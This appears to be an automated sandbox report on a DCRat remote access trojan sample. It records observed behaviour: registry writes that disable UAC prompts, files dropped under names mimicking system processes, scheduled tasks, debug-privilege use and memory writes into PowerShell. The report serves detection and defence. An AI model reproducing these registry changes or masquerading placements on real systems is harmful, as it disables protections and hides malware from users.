Malware Analysis Report

2024-11-15 05:49

Sample ID 240515-ekwngsgb8y
Target 77177c57df58a82f289add0cf57ea320_NeikiAnalytics
SHA256 6f250581eae818938c64c4afa3446c7c36dfadda1d8b8ba20870ad0e05c7fe50
Tags
dcrat evasion execution infostealer rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6f250581eae818938c64c4afa3446c7c36dfadda1d8b8ba20870ad0e05c7fe50

Threat Level: Known bad

The file 77177c57df58a82f289add0cf57ea320_NeikiAnalytics was found to be: Known bad.

Malicious Activity Summary

dcrat evasion execution infostealer rat trojan

DCRat payload

Process spawned unexpected child process

UAC bypass

Dcrat family

DcRat

DCRat payload

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Checks computer location settings

Checks whether UAC is enabled

Drops file in Windows directory

Drops file in Program Files directory

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

System policy modification

Modifies registry class

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-15 04:00

Signatures

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Dcrat family

dcrat

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-15 04:00

Reported

2024-05-15 04:03

Platform

win7-20240221-en

Max time kernel

150s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe"

Signatures

DcRat

rat infostealer dcrat

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Windows Defender\29de1ba23f4c1c C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\RCXB211.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Windows Defender\RCXB657.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files\Windows Defender\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\69ddcba757bf72 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Program Files\Windows Defender\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\spoolsv.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File created C:\Windows\Tasks\f3b6ecef712a24 C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Windows\Tasks\RCXBAEB.tmp C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
File opened for modification C:\Windows\Tasks\spoolsv.exe C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2956 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1488 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2956 wrote to memory of 2224 N/A C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
